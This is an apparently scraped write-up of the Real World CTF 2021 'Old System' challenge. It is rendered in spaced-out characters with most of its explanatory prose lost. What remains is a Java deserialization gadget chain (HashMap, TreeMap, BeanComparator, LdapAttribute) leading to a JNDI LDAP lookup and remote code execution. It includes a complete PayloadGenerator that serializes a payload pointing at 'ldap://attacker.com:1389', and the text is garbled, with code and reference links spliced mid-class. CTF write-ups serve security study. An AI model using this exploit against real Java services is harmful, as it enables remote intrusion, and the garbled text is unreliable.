[1166] 2021-01-15_RealWolrdCTFOldSystemNewgetterjndigadget

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-16
2021-01-15_RealWolrdCTFOldSystemNewgetterjndigadget R e a l   W o l r d   C T F   O l d   S y s t e m   N e w   g e t t e r   j n d i   g a d g e t Y 4 e r   C h a B u g   2 0 2 1 - 0 1 - 1 5 R e a l   W o l r d   C T F   3 r d   W r i t e u p   |   O l d   S y s t e m   H a s h M a p T r e e M a p g e t ( ) c o m p a r e ( ) w e b . x m l s e r v l e t j d k c l a s s p a t h t h i s . a p p C l a s s L o a d e r
c c 2 . 1 I n v o k e r T r a n s f o r m e r I n s t a n t i a t e T r a n s f o r m e r c c c b   g e t t e r o r g . a p a c h e . c o m m o n s . b e a n u t i l s . B e a n C o m p a r a t o r
y s o 使 c o m p a r e j d k 1 . 4 j d k T r e e M a p g e t ( ) g e t E n t r y ( ) c o m p a r e ( ) P r i o r i t y Q u e u e P r i o r i t y Q u e u e P r i o r i t y Q u e u e j a v a . u t i l . H a s h M a p # r e a d O b j e c t j a v a . u t i l . H a s h M a p # p u t F o r C r e a t e j a v a . u t i l . H a s h M a p # e q j a v a . u t i l . A b s t r a c t M a p # e q u a l s j a v a . u t i l . T r e e M a p # g e t j a v a . u t i l . T r e e M a p # g e t E n t r y                         o r g . a p a c h e . c o m m o n s . b e a n u t i l s . B e a n C o m p a r a t o r # c o m p a r e
使 j d k 1 . 8 c o m p a r e ( ) T r e e M a p . g e t ( )
H a s h M a p p u t F o r C r e a t e h a s h p u t F o r C r e a t e ( ) T r e e M a p   t r e e M a p 1   =   n e w   T r e e M a p ( c o m p a r a t o r ) ; t r e e M a p 1 . p u t ( p a y l o a d O b j e c t ,   " a a a " ) ; T r e e M a p   t r e e M a p 2   =   n e w   T r e e M a p ( c o m p a r a t o r ) ; t r e e M a p 2 . p u t ( p a y l o a d O b j e c t ,   " a a a " ) ; H a s h M a p   h a s h M a p   =   n e w   H a s h M a p ( ) ; h a s h M a p . p u t ( t r e e M a p 1 ,   " b b b " ) ; h a s h M a p . p u t ( t r e e M a p 2 ,   " c c c " ) ; r e a d O b j e c t ( ) B e a n C o m p a r a t o r . c o m p a r e ( )
R C E g e t t e r j d k 1 . 4 p r o p e r t y l o o k u p ( ) o r g . a p a c h e . c o m m o n s . b e a n u t i l s . B e a n C o m p a r a t o r P r o p e r t y U t i l s . g e t P r o p e r t y ( ) T e m p l a t e s I m p l J d b c R o w S e t I m p l c o m . s u n . j n d i . l d a p . L d a p A t t r i b u t e # g e t A t t r i b u t e D e f i n i t i o n - >   j a v a x . n a m i n g . d i r e c t o r y . I n i t i a l D i r C o n t e x t # g e t S c h e m a ( j a v a x . n a m i n g . N a m e ) - >   c o m . s u n . j n d i . t o o l k i t . c t x . P a r t i a l C o m p o s i t e D i r C o n t e x t # g e t S c h e m a ( j a v a x . n a m i n g . N a m e ) - >   c o m . s u n . j n d i . t o o l k i t . c t x . C o m p o n e n t D i r C o n t e x t # p _ g e t S c h e m a - >   c o m . s u n . j n d i . t o o l k i t . c t x . C o m p o n e n t C o n t e x t # p _ r e s o l v e I n t e r m e d i a t e - >   c o m . s u n . j n d i . t o o l k i t . c t x . A t o m i c C o n t e x t # c _ r e s o l v e I n t e r m e d i a t e _ n n s - >   c o m . s u n . j n d i . t o o l k i t . c t x . C o m p o n e n t C o n t e x t # c _ r e s o l v e I n t e r m e d i a t e _ n n s - >   c o m . s u n . j n d i . l d a p . L d a p C t x # c _ l o o k u p - >   R C E a t t r i b u t e D e f i n i t i o n c o m . s u n . j n d i . l d a p . L d a p A t t r i b u t e # g e t A t t r i b u t e D e f i n i t i o n
l o o k u p j n d i P O C j d k 1 . 4 1 . 8 g e t t e r C T F p a y l o a d i m p o r t   o r g . a p a c h e . c o m m o n s . b e a n u t i l s . B e a n C o m p a r a t o r ; i m p o r t   j a v a x . n a m i n g . C o m p o s i t e N a m e ;
j d k 1 . 8 T r e e M a p i m p o r t   j a v a x . n a m i n g . C o m p o s i t e N a m e ; i m p o r t   j a v a . i o . F i l e O u t p u t S t r e a m ; i m p o r t   j a v a . i o . O b j e c t O u t p u t S t r e a m ; i m p o r t   j a v a . l a n g . r e f l e c t . C o n s t r u c t o r ; i m p o r t   j a v a . l a n g . r e f l e c t . F i e l d ; i m p o r t   j a v a . u t i l . H a s h M a p ; i m p o r t   j a v a . u t i l . T r e e M a p ; p u b l i c   c l a s s   P a y l o a d G e n e r a t o r   { p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 S t r i n g   l d a p C t x U r l   =   " l d a p : / / a t t a c k e r . c o m : 1 3 8 9 " ;                 C l a s s   l d a p A t t r i b u t e C l a z z   =   C l a s s . f o r N a m e ( " c o m . s u n . j n d i . l d a p . L d a p A t t r i b u t e " ) ;                 C o n s t r u c t o r   l d a p A t t r i b u t e C l a z z C o n s t r u c t o r   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d C o n s t r u c t o r ( n e w   C l a s s [ ]   { S t r i n g . c l a s s } ) ;                 l d a p A t t r i b u t e C l a z z C o n s t r u c t o r . s e t A c c e s s i b l e ( t r u e ) ;                 O b j e c t   l d a p A t t r i b u t e   =   l d a p A t t r i b u t e C l a z z C o n s t r u c t o r . n e w I n s t a n c e ( n e w   O b j e c t [ ]   { " n a m e " } ) ;                 F i e l d   b a s e C t x U r l F i e l d   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d F i e l d ( " b a s e C t x U R L " ) ;                 b a s e C t x U r l F i e l d . s e t A c c e s s i b l e ( t r u e ) ;                 b a s e C t x U r l F i e l d . s e t ( l d a p A t t r i b u t e ,   l d a p C t x U r l ) ;                 F i e l d   r d n F i e l d   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d F i e l d ( " r d n " ) ;                 r d n F i e l d . s e t A c c e s s i b l e ( t r u e ) ;                 r d n F i e l d . s e t ( l d a p A t t r i b u t e ,   n e w   C o m p o s i t e N a m e ( " a / / b " ) ) ; / /   G e n e r a t e   p a y l o a d                 B e a n C o m p a r a t o r   c o m p a r a t o r   =   n e w   B e a n C o m p a r a t o r ( " c l a s s " ) ;                 T r e e M a p   t r e e M a p 1   =   n e w   T r e e M a p ( c o m p a r a t o r ) ;                 t r e e M a p 1 . p u t ( l d a p A t t r i b u t e ,   " a a a " ) ;                 T r e e M a p   t r e e M a p 2   =   n e w   T r e e M a p ( c o m p a r a t o r ) ;                 t r e e M a p 2 . p u t ( l d a p A t t r i b u t e ,   " a a a " ) ;                 H a s h M a p   h a s h M a p   =   n e w   H a s h M a p ( ) ;                 h a s h M a p . p u t ( t r e e M a p 1 ,   " b b b " ) ;                 h a s h M a p . p u t ( t r e e M a p 2 ,   " c c c " ) ;                 F i e l d   p r o p e r t y F i e l d   =   B e a n C o m p a r a t o r . c l a s s . g e t D e c l a r e d F i e l d ( " p r o p e r t y " ) ;                 p r o p e r t y F i e l d . s e t A c c e s s i b l e ( t r u e ) ;                 p r o p e r t y F i e l d . s e t ( c o m p a r a t o r ,   " a t t r i b u t e D e f i n i t i o n " ) ;                 O b j e c t O u t p u t S t r e a m   o o s   =   n e w   O b j e c t O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( " o b j e c t . s e r " ) ) ;                 o o s . w r i t e O b j e c t ( h a s h M a p ) ;                 o o s . c l o s e ( ) ;         } } g e t A t t r i b u t e D e f i n i t i o n p a c k a g e   c o m . t e s t ; i m p o r t   j a v a x . n a m i n g . C o m p o s i t e N a m e ; i m p o r t   j a v a . l a n g . r e f l e c t . C o n s t r u c t o r ; i m p o r t   j a v a . l a n g . r e f l e c t . F i e l d ; i m p o r t   j a v a . l a n g . r e f l e c t . M e t h o d ; p u b l i c   c l a s s   M a i n   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 t r y   {                         S t r i n g   l d a p C t x U r l   =   " l d a p : / / l o c a l h o s t : 1 3 8 9 " ;
1 . h t t p s : / / g i t h u b . c o m / v o i d f y o o / r w c t f - 2 0 2 1 - o l d - s y s t e m / t r e e / m a i n / w r i t e u p 2 . h t t p s : / / c t f t i m e . o r g / t a s k / 1 4 5 0 0 3 . R e a l   W o l r d   C T F   3 r d   W r i t e u p   |   O l d   S y s t e m                         C l a s s   l d a p A t t r i b u t e C l a z z   =   C l a s s . f o r N a m e ( " c o m . s u n . j n d i . l d a p . L d a p A t t r i b u t e " ) ;                         C o n s t r u c t o r   l d a p A t t r i b u t e C l a z z C o n s t r u c t o r   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d C o n s t r u c t o r (                                         n e w   C l a s s [ ] { S t r i n g . c l a s s } ) ;                         l d a p A t t r i b u t e C l a z z C o n s t r u c t o r . s e t A c c e s s i b l e ( t r u e ) ;                         O b j e c t   l d a p A t t r i b u t e   =   l d a p A t t r i b u t e C l a z z C o n s t r u c t o r . n e w I n s t a n c e (                                         n e w   O b j e c t [ ] { " n a m e " } ) ;                         F i e l d   b a s e C t x U r l F i e l d   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d F i e l d ( " b a s e C t x U R L " ) ;                         b a s e C t x U r l F i e l d . s e t A c c e s s i b l e ( t r u e ) ;                         b a s e C t x U r l F i e l d . s e t ( l d a p A t t r i b u t e ,   l d a p C t x U r l ) ;                         F i e l d   r d n F i e l d   =   l d a p A t t r i b u t e C l a z z . g e t D e c l a r e d F i e l d ( " r d n " ) ;                         r d n F i e l d . s e t A c c e s s i b l e ( t r u e ) ;                         r d n F i e l d . s e t ( l d a p A t t r i b u t e ,   n e w   C o m p o s i t e N a m e ( " a / / b " ) ) ;                         M e t h o d   g e t A t t r i b u t e D e f i n i t i o n M e t h o d   =   l d a p A t t r i b u t e C l a z z . g e t M e t h o d ( " g e t A t t r i b u t e D e f i n i t i o n " ,   n e w   C l a s s [ ] { } ) ;                         g e t A t t r i b u t e D e f i n i t i o n M e t h o d . s e t A c c e s s i b l e ( t r u e ) ;                         g e t A t t r i b u t e D e f i n i t i o n M e t h o d . i n v o k e ( l d a p A t t r i b u t e ,   n e w   O b j e c t [ ] { } ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则